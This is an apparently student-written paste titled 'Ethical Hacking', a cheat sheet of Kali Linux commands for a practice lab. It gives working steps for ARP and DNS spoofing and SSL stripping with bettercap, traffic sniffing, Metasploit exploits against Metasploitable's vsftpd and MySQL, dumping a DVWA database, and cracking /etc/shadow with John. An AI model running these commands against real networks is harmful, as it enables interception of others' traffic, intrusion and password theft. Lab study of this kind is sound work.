TEXT 23
Ethical Hacking Guest on 18th January 2023 11:23:27 PM
  1. Changing MAC Address in Linux:
  2. macchanger -A eth0 -m 00:11:22:33:44:55
  3.  
  4. General Linux Commands:
  5. adduser username
  6. passwd username
  7. usermod -a -G sudo username
  8.  
  9. Other commands:
  10. apt-get install apache2
  11. a2enmod ssl
  12. service apache2 restart
  13.  
  14. Reading output from WireShark:
  15. http.request.method == POST
  16.  
  17. DNS Spoofing using bettercap:
  18. bettercap
  19. set dns.spoof.domains example.com,example2.com
  20. set dns.spoof.all true
  21. dns.spoof on
  22.  
  23. SSL Stripping
  24. bettercap -caplet spoof.cap
  25. spoof.cap file:
  26. net.probe on
  27. set arp.spoof.fullduplex true
  28. set arp.spoof.targets ip address here
  29. arp.spoof on
  30. set net.sniff.local true
  31. net.sniff on
  32.  
  33. then update the caplets:
  34. caplets.update
  35.  
  36. DNS Configuration:
  37. yum install bind-utils
  38. /etc/resolv.conf - DNS file
  39. nslookup - to check dns servers
  40. /var/named/named.ca - this file contains the list of root servers
  41. To install Cache only DNS:
  42. sudo apt update (update all the pending repositories if needed)
  43. sudo apt install bind9 (This will install DNS services on the machine)
  44. sudo services named status
  45. sudo services named start
  46. sudo services named stop
  47.  
  48. Install Zenmap in Linux:
  49. sudo apt install kaboxer –y
  50. sudo apt install zenmap-kbx
  51. kaboxer run zenmap
  52.  
  53. Tool for information gathering with commands:
  54. netdiscover -i eth0 –r 172.26.0.0/24
  55. netdiscover -r 192.168.0.0/16
  56. netdiscover -r 10.0.0.0/8
  57.  
  58. ARP Spoofing Tool:
  59. arpspoof -i [interface] -t [clientIP] [gatewayIP]
  60. arpspoof -i [interface] -t [gatewayIP] [clientIP]
  61.  
  62. Bettercap ARP Spoofing:
  63. apt-get install bettercap
  64. Create a caplet file:
  65.  
  66. net.probe on
  67. set arp.spoof.fullduplex true
  68. set arp.spoof.targets 192.168.20.2
  69. arp.spoof on
  70. net.sniff on
  71.  
  72. Save the file with the name spoof.cap
  73. Run the bettercap with following command:
  74. bettercap -caplet spoof.cap
  75.  
  76. To save the output to file in bettercap:
  77. events.stream off
  78. set events.stream.output /home/kali/Documents/Log-all.txt
  79. events.stream on
  80. net.probe on
  81. set arp.spoof.fullduplex true
  82. set arp.spoof.targets 192.168.1.100
  83. arp.spoof on
  84. set net.sniff.output /home/kali/Documents/PC-1.cap
  85. net.sniff on
  86.  
  87. this is important for arp spoofing in kali linux:
  88. iptables -A FORWARD -i eth0 -j ACCEPT
  89. iptables -A FORWARD -o eth0 -j ACCEPT
  90.  
  91. Metasploitable:
  92. nmap -T4 -A -v ip address
  93. Find which port is open, if port 23 is open, then it means telnet is open
  94. To gain access, use following command:
  95. telnet ip address
  96. Can capture the data using WireShark by putting "telnet" in filter.
  97.  
  98. Remote Shell Tool:
  99. apt-get install rsh-client
  100. rlogin -l root ip address
  101.  
  102. Using Metasploit Framework:
  103. msfdb init
  104. msfconsole
  105. db_status - to show the status of the database.
  106. db_nmap -vv ip -sV
  107. vv = very verbose
  108. sV = scan version of services
  109. search vsftpd
  110. use 0
  111. set rhosts ip address
  112. options
  113. exploit
  114.  
  115. When exploiting MySQL:
  116. search mysql
  117. use 17
  118. set rhost ip
  119. exploit
  120.  
  121. mysql -u root -h ip address
  122. show databases;
  123. use dvwa;
  124. show tables;
  125. select * from pen_test_tools;
  126.  
  127.  
  128. Bruteforce:
  129. Get the /etc/shadow file and then run the bruteforce tool with following command:
  130. john -w=/usr/share/wordlists/rockyou.txt /etc/shadow

Coding Base is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

Login or Register to edit or fork this paste. It's free.